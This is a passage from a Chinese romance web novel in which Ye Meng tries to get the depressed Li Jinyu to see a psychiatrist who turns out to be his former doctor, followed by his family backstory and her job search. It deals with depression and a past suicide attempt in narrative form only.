十分钟后是乐队表演,李靳屿收好吉他挎在肩上,站在舞池边上跟乐队主唱不知在聊什么,大多是主唱在说,他静静在听,时不时笑下。两人聊着,主唱的目光突然朝叶濛这边看来,李靳屿也顺着他的视线瞧过来,很快就别开,跟他笑着轻摇了下头。主唱露出略微诧异的表情。
舞池中突然出来两个姑娘面容羞赧地朝他们走去。主唱叼着根烟,笑眯眯地不知道问了句什么,两个姑娘低着头,局促就差把脑袋埋进衣服里。最后还是大着胆子不知道问了句什么。
李靳屿一声不吭,掏出手机给她们扫。
原来是加微信。
李靳屿算不上是这里的专业歌手,他唱歌呢,也就还算好听,音准很准,至少算是有音乐细胞的,但多余的技巧和情感都没有,纯粹唱歌,唱的歌进不到人心里去,但是至少长到人心坎里去了,酒吧常客隔三岔五便询问他的消息,老板便一三五日邀他过来驻场。
这边加完,主唱摩拳擦掌准备上台,舞台灯光适时暗下来,舞池里的男女像一根根稻草杆子形形绰绰插在舞池中央,隔着一片虚晃晃的人海,叶濛看见李靳屿斜背着他那把大吉他,忽然在昏昧的光源中,转过头来,好像断定她便在看他似的,冲她勾了勾手,也不等她回应,直接转身从后门过道走了。
叶濛一口气将桌上的酒喝完,才站起来不紧不慢地跟上去。
李靳屿靠在酒吧后巷的垃圾桶边上等她,嘴里嚼了颗奶糖,见她出来,才将手上的糖纸揉做团朝垃圾桶里一丢,笑着问她:“去哪?酒店?”
不知是那酒的作用,还是她心跳真的快,砰砰砰仿佛就砸她的胸口,
叶濛发现事情其实已经偏离了她一开始的想法。
手机在口袋中震个不停,应该是方雅恩的。刚刚他在唱歌,她俩在有一搭没一搭地发微信聊。
叶濛掏出来看了眼,一连串十几条弹屏。
Fang:你说李靳屿有抑郁症?
Fang:濛濛,我知道你对你妈妈的死很介怀,但是你妈妈确实是自杀的,就算她死前真的给你打过电话,可当年的尸检报告和所有鉴定结果都只能证明你妈妈是自杀。
Fang:我能理解你对李靳屿的同情怜悯,但我劝你真的别碰他,你也说他一看就没有接受的正规治疗,或许他可能都不知道自己有抑郁症。
Fang:你说他跟你妈妈当时的状态很像,那你自己知道吗?你究竟是见色起意、真的想帮他,还是想通过他了解你妈妈当时的病情是否有法医说的那么严重?如果是后者,那你就太残忍了。
……
叶濛没回,不动声色关掉微信,就着昏黄的路灯,打开滴滴叫了辆车,对他说:“就附近如家吧。”
李靳屿勾了勾嘴角,没说话。
巷口矗立着两盏路灯,柔和的黄光落到他俩头顶上,巷口堆着几袋黑色塑料袋垃圾回收和一堆不知道猴年马月才能被人收走的破铜烂铁,除开这些,画面还是美的,两人这么安静站着,真是出乎意料的养眼。
车子距离他们还有一公里,叶濛记下车牌号,将手机揣回兜里,随口问了句:“弟弟看来经验很丰富?”
李靳屿靠着墙嚼糖,闻言,嘴角一顿,含着糖没动,看了她一眼,冷淡道:“有什么好问的,你等会儿不就知道了。”
半分钟后,一辆黑色的日产天籁在两人面前停下,叶濛这个讲究人叫的还是专车。
李靳屿嚼着糖盯了一会儿车,嗤笑一声上后座,嘲讽她:“你倒是很讲究。”
叶濛跟着他上后座,笑嘻嘻逗他:“下次开车接你啊。”
“你脸皮真够厚的。”李靳屿白她。
叶濛笑笑不答,一脸精神亢奋地刷朋友圈玩手机。
然后懒散地靠在后座上照旧开始闭目养神的李靳屿,陷入了迷惑,这姐怎么越看越精神?Four Loko的功效基本上一杯倒。他当时在美国的时候,被人骗着喝了一杯,要不是朋友给他提了个醒,差点那天就被人给上了。
他微微侧目,发现叶濛还在精神抖擞地给人朋友圈点赞。她是真的很无聊,每个赞都点。跟他那个朋友,勾恺一个德行,他以前最烦勾恺的一点就是,他就是个人形点赞机,他俩共同好友本来就多,有时候他手贱给人点个赞,勾恺的留言回复能刷爆他的朋友圈。来这换手机微信之后,倒是清净很多。
车子在如家门口停下,叶濛连入住手续都没办,就轻车熟路地领着李靳屿越过服务台上房间。
李靳屿斜挎着他的吉他包等叶濛开门。肩侧顶着墙,又讽刺了一句:“你看来经验很丰富啊,在这熟得跟个服务员似的。”
叶濛抬头看他一眼,叮咚刷了下门卡:“先进来。”
门缓缓朝里推开,李靳屿先是看到一双陈旧皮鞋,他视线一抬,瞧见床上还坐着一个男人,他转身便走,“我没兴趣3p。”
他本来也没真想做什么,只是想给叶濛个教训,让她不敢再招惹他。
谁料,叶濛眼疾手快地一把给他拽住,脚抵着门框,转头冲里头那大叔喊:“杨叔!帮个忙!”
杨叔便哆嗦个腿从里头冲出来了,但这大叔瘦弱的随时要散架一样。
李靳屿看着瘦高瘦高的,到底还是个正值气盛的年轻男人,杨叔戴着一副老花镜,年纪看着六十出头,他随便动一动都怕给人拎散架了,又怕伤着叶濛,只能强忍着,被这一老一少硬生生给
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裹挟着拽进屋去。
“嘭!”一声巨响,叶濛费劲全力,几乎手脚并用将他堵在门口,两手用力一撑,男人184高大的身板便被她壁咚式圈在怀里,叶濛只有164,老头更矮160不到点,堵在最外面,三人就像个WIFI。
“看不出来你有这癖好,”李靳屿的吉他被丢到地上,他背靠着门板,有些意外地低头睨着叶濛,冷笑道:“松手,我没兴趣陪你们玩。”
男人轻热的气息落在她头顶,周身全是他的味道,带点清香,很陌生。
叶濛以前从来没闻过的,但是却意外好闻和有吸引力。
叶濛此刻心跳极其快,如擂若鼓,脑袋嗡嗡嗡发涨,像被拢着一层纱,她发现自己怎么也看不清面前这个朦朦胧胧、面庞英俊的男人。只能感觉他的气息,好像是Four Loko的后劲上来了,连心跳都是前所未有的发慌。
“李靳屿,你听我说,”叶濛清了清嗓子,这酒真的后劲足,连她声音都哑了,虽然他身上板硬像一堵墙,但叶濛却觉得整个人都软得像棉花糖,声音不自觉放软,像哄小孩:“杨叔是心理医生,他早年是北京六院的权威专家,他是真的非常非常权威的心理专家!是真的很权威。这几年一直在我们镇上坐义诊。我知道跟你直接说你一定不会同意,但是你也知道自己的问题是不是?其实你也很想有人帮帮你的是不是?你跟他聊聊行吗?”
为什么叶濛说李靳屿跟她的妈妈很像,是因为叶濛能感觉到,李靳屿现在的状态,虽然看似真的半死不活的,但那天晚上他坐在吧台的高脚椅上,漫不经心玩着密室解谜的时候,像她妈妈那几年在家修补文物的时候,眼里还是热的。他不是无药可救的。
她连问了几个是不是,都是在降低他的防备心态,声音软到他心底,化成水。
她脑子混沌,最后一点力气刚刚已经在门外拼完,下一秒似乎要瘫软在他怀里,声音却还是执着地问:“李靳屿,你听到吗?”说完便直直朝他怀里栽去。
李靳屿下意识将她搂住。
他人靠着门板,一只手还抄在兜里,另一只手搂在她的腰上,轻轻一托,将她整个人像只温软的小猫一样拱在自己的怀里,低头看了眼,女人柔软泛红的脸,伏在他硬实的胸前。
“嗯,听到了。”他说。
叶濛软软睡去,伏在他胸前,迷糊间说了句,“乖。”
老头站在身后,全然是没回过神来,怔怔站着,李靳屿抱着叶濛,倒是无奈地笑着先主动打了招呼。
“杨叔,好久不见。”
杨秉章是他最早的心理医生,也是从小看着他长大的。他的优秀和小心翼翼的努力,杨秉章全看在眼里。为了不影响他哥哥高考,十三岁便被母亲放弃了国内保送的附中,给直接丢到国外一个人过了三年。
记忆中那个模糊的少年,便如山风般涌入他的脑海,轮廓渐渐清晰明朗。
几年不见,他模样仍然出众,五官硬朗褪去年少时青涩的稚气,只不过那坦坦荡荡的少年气仍在,眼神也清澈明朗,他轻描淡写的一句好久不见。杨秉章早已眼眶发热。
“靳屿,你瘦了。”
11. 第十章
李靳屿父亲是农村飞出的凤凰男,但长得相貌堂堂,在大学一众呆板的穷小子中鹤立鸡群,博得众多女学生青睐。最后他同富家女李凌白坠入爱河。李凌白是个十指不沾阳春水的富家小姐。父母在北京经营古董生意,背后有个错综复杂、庞大的家族企业。李靳屿父亲痛定思痛决定改姓入赘,头年生下个大胖小子是李靳屿他哥,叫李思杨。
李靳屿跟他哥从小是两种性子。李思杨调皮捣蛋,顽劣,成绩平平,犯了错全让懂事可爱的李靳屿背锅。一次两次,三番四次,李思杨发现不对劲了,妈妈虽然从来不打他们兄弟俩,但是她却常常对弟弟使用冷暴力。有次他好奇戴着妈妈的玉戒指上厕所结果不小心掉进马桶里,听说那戒指得二十万,他吓得屁滚尿流,把这事儿栽赃嫁祸给弟弟,结果那年大雪天,李靳屿被李凌白扒光了衣服丢在门外活活冻了一晚上。
李靳屿肺一直不太好,便是那时候落下病根,导致现在一换季就咳嗽。李靳屿小时候不太懂他跟哥哥差在哪,身边的亲戚朋友免不了爱拿他跟哥哥比较,他处处都比哥哥优秀,都爱当着母亲的面夸奖他。但他只要不是做到最极致的优秀,母亲很少夸奖他。于是这么多年他事事追求完美,导致焦虑、抑郁。而李思杨,什么都不用做,母亲对他青眼有加。
父亲在时,母亲倒还会收敛。后来父亲病逝,母亲变本加厉。导致李靳屿一度怀疑自己是父亲跟哪个女人偷生的,大学的时候,甚至还找人做过亲子鉴定。不过,结果倒教他有些意外,他确实是亲生的。
他跟父亲还有李思杨的感情倒是不错。李思杨虽然小时候经常让他背锅挨了母亲不少冷眼斥骂后,李思杨也知道母亲似乎并不喜欢这个弟弟,他倒是开始处处照顾他,他们兄弟俩之间倒没什么嫌隙,虽然李思杨又笨又吵,但做哥哥很尽职,当年李思杨上高中,周末李思杨拉着他躲在房间里热火朝天地打了半宿游戏,被深夜才回家的李凌白撞见,二话不说给他扔到美国去了。
那年李靳屿才十三岁。
李思杨声嘶力竭地哭喊着,跪着求妈妈不要送走弟弟。李凌白当时是答应下来,结果一个月后,李思杨去上学。李靳屿连人带行李箱直接被丢到美国的Fessenden读寄宿初中。学校在麻省Newton市,离波士顿很近,李凌白有时候在波士顿出差,会让管家给他送东西。
李思杨是从那之后开始洗心革面,他再也不敢打游戏,再也不吊儿郎当,开始努力学习。那三年,俩兄弟时常视频,李思杨偶尔会让李靳屿这个比他还小三岁的天才弟弟替他辅导辅导作业,李靳屿那时就把国内的初中课程学完,已经开始学高中课程了。李思杨被这个弟弟的聪明震惊到合不拢嘴,但也知道,李靳屿还是想回国参加高考。于是他常问,小屿你恨妈妈吗?李靳屿那时就越发沉默了,只摇摇头,没说话。李思杨心疼得不行,拍胸脯保证说,我高考一定好好考,我一定把你接回来。实在不行,我也不要妈妈了,我去美国陪你。
李思杨那三年确实很努力,没日没夜地看书,头悬梁锥刺股怎么苦怎么来。但奈何天资有限,发挥了他最大的极限也只考了个二本院校。但好在,李凌白看到他的变化,便同意把李靳屿从美国接回来。
李靳屿高中那三年,大概是母子关系最和谐的几年。也许是李凌白很久没见他,可能有点想他,对他也不再苛待,和颜悦色像一个真正的母亲了。
但好景不长,李靳屿大一那年暑假,李思杨突然车祸意外死亡。所有的和谐如同一面破碎的镜子开始分崩离析,李凌白崩溃,消沉了三个月马上又投入工作状态,开始给自己相亲。父亲死了这么多年李凌白没有改嫁,李思杨一死,她就改嫁了,并且几经周折,不顾自己的安危还要生下一个孩子。
李靳屿那时觉得自己就像一个笑话。没有人在乎他的感受,李凌白组建了新家庭后,李靳屿就变得有点难去难从,最后是奶奶从南方小镇连夜坐了十几小时的长途火车风尘仆仆地赶到北京,她身体本就不好,一身的毛病,十几个小时的车程让她站都站不稳,哆哆嗦嗦地牵起他的手,八面威风地走到错愕的李凌白面前,就好像一个盖世英雄,她没有七彩祥云,可能尚方宝剑也已经生锈了,但就是坚定无比地对那个女人说——
“李凌白,不是你不要他,是我们不要你了。”
-
屋内很静,没有人开灯,叶濛昏沉沉半梦半睡,李靳屿把人放到床上,只开了一盏黄色的小壁灯。一个半弧形小光晕落在墙角的地板上,光亮微弱,余下两人勉强能看清对方的脸。
杨秉章在这坐义诊有一阵子,碰见李靳屿是个意外,当年听说这孩子跟奶奶走了,没想到就是在这个小镇上。在李靳屿走后,李凌白不提,李家也没人敢提。
“你怎么认识小濛的?”杨秉章坐在床边的沙发椅上,给自己点了支烟,打开话题。
李靳屿把吉他包拎到电视机柜上放着,里面鼓鼓囊囊的,塞着一大捆尼龙绳的,本来想给叶濛一个教训,但如今看也是用不上了。人半坐在电视机柜上,看了眼床上睡得满脸涨红的女人,笑了下,“意外,我俩不熟。”
杨秉章点点头,吐了口烟说,“她给我发微信说在这等我,让我给他看看,有个人。我没想到是你。”
叶濛被子没盖,睡得浅薄,嘴唇偶尔还在动,李靳屿一度怀疑她是不是还醒着。不过下一秒他就不怀疑了,因为叶濛大剌剌翻了个身,侧躺变成正躺,乌黑的长发向两边散开,衣领下滑,露出骨肉匀称的胸口,大约是喝了酒的缘故,两颊连带着锁骨都泛着酡红。她皮肤细腻,能瞧见若隐若现的青筋,她长得清丽,五官精致,有一种禁欲的漂亮。她比江露芝漂亮很多。
李靳屿想象了一下,如果早些相遇,他可能会破例主动追求她。
他走过去,不动声色地将被子扯过去,连着脑袋,一起将人盖住,在她床边坐下,拧着眉低声对杨秉章说:“女人的圣母病犯了,拦都拦不住,就喜欢多管闲事。”
杨秉章看着床上被蒙得不见头不见尾的叶濛,生怕她喘不过气,小心翼翼地给拽了点下来,又被李靳屿毫不留情地堵上。
“她等会闷死了。”杨秉章说。
“闷死算了,最好别再烦我。”李靳屿冷声说。
杨秉章静静看他,“你以前可是对女孩子很绅士的。”
屋内昏暗,月色清凉地挂在窗外,清辉散落一地,房间静了一瞬,李靳屿两手撑着膝盖,低头自嘲地笑了下没接茬。胸腔微痒,他咳嗽了声。
他的情况,杨秉章其实都很熟悉,多说无用,该治疗的当初都试过了,李靳屿的根结还是在李凌白。别的也没再多说,只关心了句:“最近要换季了,你注意你的肺,咳得多了去医院拿点药,别硬撑着,你们男孩子生病就喜欢硬撑着,跟我儿子一个样,死活不肯上医院,都当自己铁打的!”
李靳屿撑着胳膊低头笑笑,面上再吊儿郎当,骨子里还是礼貌,顺嘴问了句杨秉章的儿子:“立诚哥现在怎么样?找女朋友了吗?”
“婚都结了,孩子都能拱别家孩子了。昨天在北京学做肉包子,视频给我包了个平平安安。你不在这几年,立诚老跟我念叨你,你有空也回去看看他,妈妈不要了,这些穿开裆裤长大的发小,你都不要了?”杨秉章说的自己都有些动容,欲言又止道,“你妈妈……”
李靳屿两手仍是撑着膝盖,微微抬头,对上杨秉章眼睛,没什么情绪地打断:“不用跟我说,跟我没什么关系。”
杨秉章那就不知道说什么了。点点头,撑着膝盖慢慢站起来,“那我先走了,小濛这边,你想想怎么跟她说吧,我都配合你,你要是不想让人知道过去的事情,那我就假装不认识你。”
“那麻烦杨老了,”李靳屿也跟着站起来相送,“怎么走,我给您叫车?”
杨秉章挥挥手,“不用,酒店会帮忙叫
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车。小濛有这的高级会员,他们会安排的。”走到门口,他扶着把手又回头说了句,“靳屿,你如果不舒服的话,还是得找我开点药,别自暴自弃。”
他答应下来。
送走杨秉章后,叶濛在床上睡了多久,李靳屿就靠在墙上看了多久,他发现这姐睡觉有股安抚人心的力量,说难听点,睡得像死猪。
当然睡相还是好看的,浑身上下都对外界卸下了防备,他跟杨老都是男人,虽说杨老那个年纪他怀疑可能都……但她就这么放心?怎么会有这么没心没肺的人?
叶濛睡到后面,大约被子蒙得呼吸有些困难,不知道什么时候一点点露出红彤彤的小圆脸,嘴微微张着,像一条渴水的小鱼,小口地呼吸着。
李靳屿最后坐在床边低头给人发微信,余光瞥见她在动,一只手捏着手机,头都没回,另只手毫不留情又给她盖上。
此时已经是凌晨两点,夜色悄融,干净深沉得仿佛刚被墨水浸过,星星格外亮。
整个小镇的人都陷入沉睡,四周静寂无声,只余树叶沙沙作响,天幕下,亘古不变的恒河水像是镶嵌着的一条银色绸缎在闪闪发亮。墙外的藤曼,却悄无声息地抽出了鲜绿的嫩芽。
叶濛彻底被憋醒,朦朦胧胧间瞧见一个高大宽阔的男人坐在她床边,神智没回,瞬时踢蹬着双腿挣扎起来。
李靳屿单手跟人发着微信,另只手隔着被子直接掐在叶濛的脖子上把她摁在床上,漫不经心说:“醒了?我这还没动手呢。”
叶濛听见他低沉带着沙哑的嗓音,回忆全回来了,估摸是跟杨叔谈出问题来了。她被控的死死的,无法动弹,索性放弃,一副任人宰割的样子平躺在床上,不动了,“你动手吧,要杀要剐随你。”
他反倒收了手,叶濛听他冷哼一声,悄悄探出脑袋,李靳屿完全拿背对着她,整个人微微勾着,双手这会儿已经撑在手机上不知道跟谁发微信,高高大大,这么个潇洒的背影,叶濛心头又砰砰跳了下,只听他头都没回说:“醒来不检查下?”
叶濛侧过身将被子抱在怀里躺着看他,眼神直直地盯着他,笃定:“你不敢碰我。”
李靳屿有种被人鄙视的感觉,手上动作挺了下,微微转头撇了她一眼,不屑地笑了下随即转过头,“话别说太满,现在才凌晨两点,我要想做点什么,有的是时间。”
叶濛认真地盯着他看。没往下接。
她好像真的很喜欢他的长相。
李靳屿有点烦,随手捡起旁边的枕头丢过去挡她的眼睛,不给她看:“你是不是有哪个前男友长我这样?烦不烦?没看过长这么帅的?”
叶濛笑得不行,“是啊,有个喜欢了十几年的白月光。”
李靳屿终于发完微信了,随手将手机丢到床头柜上,转头看她,牢牢盯了大概一分钟,只见他深吸一口气,收回视线,像是难以启齿,又像是自我唾弃,他话锋一转,突然说——
“叶濛,我自杀过。”
叶濛毫不意外,手腕上那道疤她早便看见了。他手腕清白修长,独独有那么一道疤,但也不难看。
“为了前女友?”她好奇的问。
床头柜上手机又震了震。
他摇头,复又捞过手机看了眼,自嘲一笑,边回边说:“为了我妈。”
男人肌骨清瘦,叶濛想伸手抱抱他,但这种时候还是克制住了。
“我很爱她,可是她不爱我。”
“我妈妈很爱我。”叶濛没头没脑地说。
李靳屿差点给她气死,“你在炫耀吗?”
“我是说,我知道怎么爱你,跟我谈恋爱呗,我知道怎么爱你。”叶濛撑着脑袋美人鱼姿势,就着晕黄的卧室灯对笑盈盈的说。看着非常不走心,但却意外勾人。
房间静谧昏沉,墙外的藤曼似乎又长了一点。
“你一看就是个花心大萝卜,不要。”李靳屿面无表情地拒绝。
12. 第十一章
月明星稀,小镇幽暗的路灯有一盏没一盏地亮着,照射着整条清冷寥寥的长街。深更半夜,树风沙沙,偶尔还能听见一群青春洋溢、刚打完游戏夜归的少年们嬉笑推搡着从楼底下走过。
叶濛坐靠在床头调亮灯盏的光度,昏黄的光线渐渐变成冷白色。男人模糊的身影变得清晰利落。她斜过脑袋百无聊赖地,第一次认认真真地打量起面前这个男人来。
其实跟楼底下的少年相去甚远,可李靳屿面庞白净削瘦,唇和眼皮都极薄,线条清晰,喉结明显,如果戴副眼镜像极了斯文败类。光这么看着,又很随性散漫,就走在路上会忍不住被星探递名片的那种。他的眉宇还是干净清澈,没少年们的无忧无虑,可要真像楼下那帮少年一般,叶濛也就觉得不过是个普通的帅哥不会多看一眼,偏就这股深沉压抑神秘的禁忌感配上那张英俊的脸,仿佛有根无形的线在吊着她。
想知道他的过去。
想知道他的感情。
想知道他究竟在什么样的家庭里长大。
李靳屿低头将微信界面关掉,手臂随意地垂在微敞的两腿之间,挺直白地告诉她:“叶濛,我如果认真喜欢一个人,是不会改变的。我会永远喜欢她,而且她的眼里只能有我。”
他回头瞥她一眼继续说,“但显然,你不是,所以,你最好别招惹我。”
“你怎么知道我不是?”叶濛笑盈盈反问,光衬得她整个人雪亮。
李靳屿这会儿才注意到她锁骨下方有一长串字母纹身,好像是一个人的名字。
他冷笑着将手机打开,重新调出微信的界面框,随手一点,沉静如水的房间里缓缓流出一段熟悉的对话声——
“你这打脸也太快了,你昨天还说不可能找江露芝的前男友。”
“是这么说过,此一时彼一时,人不可能一成不变嘛,平时带着偏见都没认真看他,昨天在酒吧认真看了看,长得完全在我的点上,没见过这么符合我的审美的,又乖又欲。这种极品错过我还是女人嘛?而且换个角度想想,小江压了我这么多年,我把她前男友弄到手,不也翻本了?反正我也就是喜欢他的脸嘛……就便宜江露芝咯……”
叶濛听完,也还是无动于衷地看着他,“那天你在?”
李靳屿锁掉手机,冷淡说:“不在,病房护士录给我的,怕我受骗。”
叶濛扑哧笑了下,“护士姐姐喜欢你啊?这么八卦。”
“人孩子都生了,”李靳屿长腿往前一抵,大约是累了,姿态更松,轻嗤道,“你要真这么喜欢我的脸,行吧,我租给你,两万一个月,天天给你看?”
见她不说话,他又自嘲地笑了笑,“我不管你是真的想帮我还是为了跟江露芝争口气,都别给我找什么心理医生,不然下次我就把你捆起来丢后山喂野狗。”
叶濛下巴冲墙角那塞得鼓鼓囊囊的吉他包一扬,了若指掌地说:“今天不也打算把我捆了。”
李靳屿哑然失笑,嘴角勾了勾,“你这聪明劲从小到大是不是没吃过亏?”
气氛轻松了些,两人心思各异,倒也难得没再针锋相对。
“你刚说两万一月,能亲亲吗?”叶濛又开始撩拨小弟弟。
“不能,”李靳屿想了想,“五万吧,给亲给抱。”
她故作惊讶:“太贵了吧。”
他吊儿郎当笑笑,没往下接。
房间内光影涣散,半晌,叶濛突然又问:“真不打算跟姐姐谈么?”
两人嗓音都沙哑,李靳屿更厚些,约莫是熬夜聊天的关系,嗓子发痒,他重重咳了声,无奈地笑着摇摇头:“不谈,你追人都这么直接么?”
“很含蓄了好吧,”叶濛一本正经地追问,“为什么呢?是不打算跟我谈,还是都不打算谈了?你不能这么自暴自弃吧,我妈当初也是抑郁症……”
李靳屿回过身,又拿背对着她,脑袋往下沉,后颈线条清晰冷冽:“你妈,最后还是自杀了,不是吗?”
“我觉得她不是自杀,我只是没有证据。”叶濛摇头,始终坚持自己的疑惑。
李靳屿淡淡地最后看了她一眼,倒也挺坦诚地说,“其实我没想那么多,我觉得现在生活挺平静的,不想再多出任何事或者任何人来改变我目前的轨迹。”
“什么轨迹?”叶濛问。
李靳屿笑说:“怎么说,也就是为了我奶奶,如果不是她,早在五年前我妈抛弃我的时候,我就已经死了。而且我现在照顾她都费劲,哪来心思谈恋爱。”
“那你为什么会跟江露芝谈恋爱?她就能改变你的轨迹了?”
“因为她比你好看啊。”李靳屿斜她一眼,懒洋洋说。
叶濛气结:“你是我见过最没眼光的弟弟。”
李靳屿从容地反唇相讥:“但你是我见过眼光最好的姐姐。”
“……”
两人都没再说话,视线在昏暗的光线里轻轻一碰,凝滞的瞬间,仿佛被彼此眼底的情绪吸住,静静注视一会儿,下一秒,不约而同地低头轻笑,于是仿佛看见巍然的冰川融化,茫茫海上飘荡的渔船归港,空气中似乎有某种不可言说的情绪就这么被消淡了。
-
之后,两人再没见过。直到方雅恩出院那天,叶濛照旧陪小胖上分,直接给他躺赢到最强王者,最后还送了一套他梦寐以求的皮肤。小胖感动得潸然泪下,没想到,叶濛送佛送到西直接给他推了一个微信,小胖小心翼翼点开,“这啥啊?姐?”
连一旁的老太太都忍不住探过脑袋来,叶濛压着腰,背部勾出一个圆润的弧线,蹲在地上给方雅恩收鞋子,“MH电竞俱乐部的经理人,你不是想当电竞选手吗,他们今年马上招青训生了,但你年纪偏大,我给经理人提前打了个招呼,你可以去试试。”
“真的假的!”小胖激动不已,一蹦三尺高,有些难以置信,“你居然认识MH的经理人?”
老太太挂着生理盐水,点开嘲讽技能:“他那水平,上去给人当键盘打差不多。”
叶濛笑了下,从地上站起来,一抬眼,看见李靳屿站在门口己,今天倒是换了一身干净清爽的白色运动服,更年轻了,视线自然地在他身上停留了下,很快就别开,对老太太说:“那也不一定,去试试就知道了,青训生初级阶段培训的都是身体素质和心理素质,最后才是游戏操作。去年MH最有价值的选手,当年在青训生里技术也是最菜的,但他是所有青训生里最能沉住气的,教练就特别欣赏他,我觉得这点杨天伟跟他挺像的。”
无论游戏里别人怎么骂他菜鸡,他都脸不红心不跳,该咋送人头还是雷打不动照送不误。
杨天伟是小胖的大名,原名叫杨伟,这一家子取名字都有点缺心眼。
杨天伟备受鼓励,浑身打满鸡血,全身血液直往一处冲,开始吹彩虹屁:“叶濛姐,你人可真好,以后谁娶了你,这人上辈子肯定拯救了全宇宙。”
叶濛立马泼了盆冷水过去:“但说实话呢,你这个年纪,很多电竞选手都已经退役了,我只是建议你去试试,没说你一定能行,先别高兴太早。”
天才有,但极少,这不是谁都能碰上的,叶濛这个电竞外行更不是什么伯乐。她只是希望杨天伟早点认清自己,踏踏实实找份工作,能帮李靳屿稍微分担下这个家。不然那嗓子再过几个月不用下海都成鸭子了。
护士正巧过来给老太太换吊瓶,见病房闹哄哄,视线若有似无地扫过叶濛,笑眯眯地主动搭腔:“这么热闹?”
这么多护士里,老太太最不喜欢的就是她,向来不怎么搭理她。小胖还沉浸在那位经理人的朋友圈,李靳屿本来没话,所以气氛瞬间冷下来,护士干笑两声,对李靳屿说:“帅哥,等会你奶奶挂完这瓶水,你来护士台找下我。”
李靳屿说了声好。
“那不打扰你们。”护士又眼神慢
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悠悠地上下打量了眼叶濛,看得方雅恩想给她的眼珠子刨出来,暗瞪了一眼回去。
叶濛不动声色地默默收拾好东西,然后把摆在墙角的吉他拿给李靳屿,“这把吉他给乔麦麦吧,谢谢她上次给我帮了这么大一忙,钱我就不转了,就差不多一把吉他。”
李靳屿低头看了她老半会儿,“行。”
“我还以为你不会要呢,”叶濛半开玩笑地说,“早知道买把便宜的。”
“那你退回去吧,反正也是乔麦麦的。”
两人半堵在门口,一个懒洋洋地靠着门框,一个对面站着,有问有答,话倒是比之前多了。
“姐姐这么抠门吗?”叶濛说。
李靳屿笑而不语,看了眼地上收拾好七七八八的大包小包,白色运动服让他特别像个少年,靠着门框问叶濛,“要帮忙么?”
“不用,杨天伟说了他送我们上车,你留下陪奶奶吧。”
……
等人走了,病房恢复冷清,老太太洞若观火,对着刚勾了张椅子准备坐下来的李靳屿说:“巴豆,你俩加微信了没?”
李靳屿微微顿了下,摇头:“没有。”
“不再联系联系?”老太太皱着眉,怨他不知道珍惜,“叶濛看着大大咧咧不拘小节,做事情却滴水不漏,还懂得处理人情世故,我活了这么久,就没见过这么会来事儿的小姑娘。多好的女人啊,你就这么给放过了。”
叶濛驾照是大学考的,今年底刚好得换证。不过她仍旧是个马路杀手。在北京这么多年地铁公交都比开车方便。这会儿方雅恩腿伤了,她硬着头皮被方雅恩赶鸭子上架,活生生把人家那台新买的小高尔夫开出了即将报废老爷车的架势。
方雅恩坐在副驾,小声提醒:“你注意到没?”
叶濛注意力尤其集中,“嗯?什么?”
“刚有辆自行车过去了。”方雅恩说。
叶濛刚瞄了眼后视镜,淡定自若,“注意到了,还是个老头。”
她心理素质尤其不错,后面车辆急促尖锐的喇叭声都快催成贝多芬的命运交响曲,她自巍然不动,老神在在地慢悠悠开着,“我本来说打车的,是你非要我看看我技术有多烂。”
“我没想到你这么烂啊!”不过方雅恩倒是很快就习惯了这些催命似的喇叭声,坦然自在地跟叶濛聊起天,“你跟李靳屿连微信都没加?”
叶濛在红绿灯路口缓缓踩下刹车,有点好笑地说:“嗯,他一副我跟他谈恋爱就是要他命的架势,我哪还敢惹他?”
“现在的弟弟……”方雅恩啧啧两声,叹了口气,“我跟你说,那护士绝对对李靳屿有意思,孩子都那么大了,居然还对小鲜肉勾来勾去。居然还录音,我说最近护士站几个小姑娘怎么看你的眼神都有种看渣女的感觉。你俩现在什么情况?”
“他话都说成这样了,我还能怎么说,就各回各家各找各妈吧,”叶濛靠在驾驶座上,不当一回事,懒散道:“当段小插曲呗,兴许保不准接下来又出现个长得更合我意的弟弟呢。至于其他的人,想开点——”
她还反过来潇洒自如地劝方雅恩,“人生嘛,不就是爱德华剪刀手咯,这里剪一段,那里插个BGM,把你完整的人生剪得七零八碎,再七拼八凑成他们想看的样子,你在每个人面前都有一段不同的三分钟视频,可只有你自己知道,其实你的人生不止那三分钟,那漫长的几万、甚至几十万个小时的幕后时光,只有自己度过。所以,为什么要为了那简短的三分钟困扰自己剩下来的几万个小时呢?那都是庸人自扰。”
方雅恩被她说得哑口无言,心下酸涩,又觉得她的洒脱和自知是旁人学不来的,“哎,我就喜欢你这攻气满满的样子,你要是哪天为了男人失魂落魄,半死不活的,我就跟你绝交。”
“放心,到了这个年纪,姐姐我除了迷恋点好看的皮囊,哄哄弟弟,是不可能动真格了。”叶濛笑。
13. 第十二章
日子就这么平滑地过了一个月,叶濛每天面对着一百万存款不知道该如何打发。
存银行?太亏了点。
买房子?别看宁绥是个小镇,房价倒是能挤进全省前三,中心地段的小区怎么也得两万一平起。如果买个二三十平的小商铺,够是差不多够,但她问了几个朋友,镇上年租金也就三四万一年,不划算。
一百万能干啥?一百万啥也干不了。叶濛痛定思痛还是决定把这钱存银行,自己去找份工作。小镇工作也不太好找,除了公务员事业编,剩下的都是工厂车间小企业,还有就是银行。叶濛学得是新闻学,但在北京做了四五年的公关,属于自媒体行业,这一下让她没头没脑地找个趁手的工作,也挺难的。
“你干脆找个报社工作吧,宁绥日报,滁州晚报,都挺缺人的现在……”方雅恩在电话里建议说,“我记得你以前高中时说过你长大后最想干的事儿,就是当个记者。”
当记者这个想法,叶濛是早年看了一部疯人院的纪实片,19世纪一名国外女记者利用自己精湛的演技成功卧底疯人院,并且揭发疯人院的黑幕和真相,这种对真理的执着和对真相的捍卫着实深深震撼了她。
于是叶濛头脑一热,一头扎进了新闻专业。虽然家里几个长辈耳提面命的,非要她拿到毕业证就直接回宁绥,但她其实当时还没决定是回去还是留下北漂。直到收到一个报社的实习offer,才误打误撞地决定留在北京。
叶濛就如此抱着一腔热枕和对新闻的敬仰进了这个行业,可能彼此对热血和正义的理解不同,老板要她针对校园暴力写一篇报道,她前后取证调查跑了半个月,将事件真相事无巨细原原本本还原后,被老板原封不动打回重写,她不解,这不就是真相么?然而老板最后忍无可忍怼着她脑门破口大骂的那段话至今让她回味无穷——
“本来好好的一篇能引起关注的报道,你给我写成这样?你怎么样?飞天小女警啊?”
他字字诛叶濛的心:“这个时代,不需要真相。共情!共情懂吗?!你需要做的是用你朴实无华的文字引起看客的共情,舆论自然会有方向,真相是什么,重要吗?如果这个世界条条框框都这么分明的话,那你告诉我,为什么地球是圆的!它就是要告诉你,你他妈要是个木木愣愣的正方形,你活个球啊!”
……
